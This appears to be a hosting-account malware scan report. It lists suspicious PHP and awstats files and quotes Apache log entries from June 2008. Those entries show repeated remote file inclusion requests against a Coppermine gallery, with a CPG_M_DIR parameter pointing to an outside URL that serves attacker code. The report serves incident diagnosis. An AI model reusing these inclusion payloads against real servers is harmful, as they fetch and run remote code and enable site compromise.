Possibly Malicous Php files: # public_html/vrun/modules/Xanthia/plugins/outputfilter.shorturls.php Gallery specific Possibly malicious IFRAMES - viruses Possibly Small Malicious Php files: # public_html/mutantville/media/install_456339d7adfea/gallery2/lib/smarty/internals/core.get_microtime.php # public_html/ltmf/libraries/openid/consumer.php # public_html/nutrition3/libraries/openid/consumer.php # public_html/brentbowers3/libraries/openid/consumer.php # public_html/devildog/administrator/components/com_virtuemart/classes/payment/payflow_pro.cfg.php # public_html/devildog/libraries/openid/consumer.php # public_html/brentbowers/administrator/components/com_virtuemart/classes/payment/payflow_pro.cfg.php # public_html/vrun/includes/classes/Smarty/internals/core.get_microtime.php Possibly Malicous Other files: # tmp/awstats/awstats102007.brentsando.com.txt # tmp/awstats/awstats062008.brentsando.com.txt # tmp/awstats/awstats052008.brentsando.com.txt # tmp/awstats/awstats112007.brentsando.com.txt # tmp/awstats/awstats022008.brentsando.com.txt # tmp/awstats/awstats042008.brentsando.com.txt # tmp/awstats/awstats122007.brentsando.com.txt # tmp/awstats/awstats032008.brentsando.com.txt # tmp/awstats/awstats022007.brentsando.com.txt # tmp/awstats/awstats012007.brentsando.com.txt # tmp/awstats/awstats012008.brentsando.com.txt # tmp/awstats/awstats032007.brentsando.com.txt Possibly Malicious Perl files: Checking the domlogs /etc/httpd/domlogs/brentsando.com:66.36.241.244 - - www.brentsando.com [09/Jun/2008:02:20:20 -0500] "GET /brentgallery/index.php/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://www.allfreeipodsex.com/viagra.jpg????????????????????????????? HTTP/1.1" 200 12491 "-" "libwww-perl/5.805" /etc/httpd/domlogs/brentsando.com:66.36.241.244 - - www.brentsando.com [09/Jun/2008:02:20:20 -0500] "GET /brentgallery/index.php/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://www.allfreeipodsex.com/viagra.jpg????????????????????????????? HTTP/1.1" 200 12576 "-" "libwww-perl/5.805" /etc/httpd/domlogs/brentsando.com:66.36.241.244 - - www.brentsando.com [09/Jun/2008:02:21:26 -0500] "GET /brentgallery/displayimage.php?album=random&cat=0&pos=-17/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://www.allfreeipodsex.com/viagra.jpg????????????????????????????? HTTP/1.1" 200 13829 "-" "libwww-perl/5.805" /etc/httpd/domlogs/brentsando.com:66.36.241.244 - - www.brentsando.com [09/Jun/2008:02:21:26 -0500] "GET /brentgallery/displayimage.php?album=random&cat=0&pos=-17/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://www.allfreeipodsex.com/viagra.jpg????????????????????????????? HTTP/1.1" 200 13828 "-" "libwww-perl/5.805" /etc/httpd/domlogs/brentsan/brentsando.com:66.36.241.244 - - www.brentsando.com [09/Jun/2008:02:20:20 -0500] "GET /brentgallery/index.php/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://www.allfreeipodsex.com/viagra.jpg????????????????????????????? HTTP/1.1" 200 12491 "-" "libwww-perl/5.805" /etc/httpd/domlogs/brentsan/brentsando.com:66.36.241.244 - - www.brentsando.com [09/Jun/2008:02:20:20 -0500] "GET /brentgallery/index.php/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://www.allfreeipodsex.com/viagra.jpg????????????????????????????? HTTP/1.1" 200 12576 "-" "libwww-perl/5.805" /etc/httpd/domlogs/brentsan/brentsando.com:66.36.241.244 - - www.brentsando.com [09/Jun/2008:02:21:26 -0500] "GET /brentgallery/displayimage.php?album=random&cat=0&pos=-17/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://www.allfreeipodsex.com/viagra.jpg????????????????????????????? HTTP/1.1" 200 13829 "-" "libwww-perl/5.805" /etc/httpd/domlogs/brentsan/brentsando.com:66.36.241.244 - - www.brentsando.com [09/Jun/2008:02:21:26 -0500] "GET /brentgallery/displayimage.php?album=random&cat=0&pos=-17/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://www.allfreeipodsex.com/viagra.jpg????????????????????????????? HTTP/1.1" 200 13828 "-" "libwww-perl/5.805"